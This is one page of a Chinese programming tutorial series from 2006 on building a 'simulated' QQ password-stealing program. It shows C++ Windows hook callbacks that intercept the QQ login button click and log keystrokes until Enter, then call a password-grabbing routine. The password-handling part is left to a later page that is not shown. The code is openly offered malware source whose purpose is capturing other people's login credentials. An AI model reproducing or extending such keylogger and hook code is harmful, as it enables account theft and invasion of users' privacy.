WEB开发网
开发学院软件开发VC 盗QQ的密码软件模拟实现 阅读

盗QQ的密码软件模拟实现

 2006-07-20 11:40:42 来源:WEB开发网   
核心提示: 上面是安装HOOK部分的代码,就这么简单,盗QQ的密码软件模拟实现(3),上面提到了CallWndProc,KeyboardProc是两个回调函数,就可以可以去获得密码了GetPasswrod(); return CallNextHookEx(g_hKey, nCode, wParam,

上面是安装HOOK部分的代码,就这么简单,上面提到了CallWndProc,KeyboardProc是两个回调函数,是我第三部分要解释的钩子函数

第三部分:(3)钩子函数的解释

CallWndProc,KeyboardProc是两个回调函数的原型和具体代码如下: // 钩子过程,监视“登陆”的命令消息
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
  CWPSTRUCT *p = (CWPSTRUCT *)lParam;
    // 捕获“登陆”按钮
    if (p->message == WM_COMMAND && p->wParam ==16032)
    //下面个函数是我在第四部分介绍-“处理密码”部分会仔细说明
    //当用户点了登陆按钮,说明QQ号码和QQ密码已经填写完毕,当然可以去获得密码了
    GetPasswrod(); 
    return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
// 键盘钩子过程,监视“登陆”的热键消息
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
  // 捕获热键消息,记录键盘的按键盘过程,pmsg是PMSG类型的,i是全局Static类型的
  pmsg[i].wParam =wParam;
  i++;
  if (wParam == VK_RETURN) //用户使用键盘“回车”来登陆,用户用了回车后,就可以可以去获得密码了
   GetPasswrod();
  return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
在明白了这两个钩子函数后就可以看后期是如何具体处理密码的了,这就是下面的第四部分内容

第四部分:(4)处理密码

如果您读到了此处,我想得暂停一会,先让我来帮你回忆一下前面提到的几个关键的变量

上一页  1 2 3 4 5  下一页

Tags:QQ 密码 软件

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接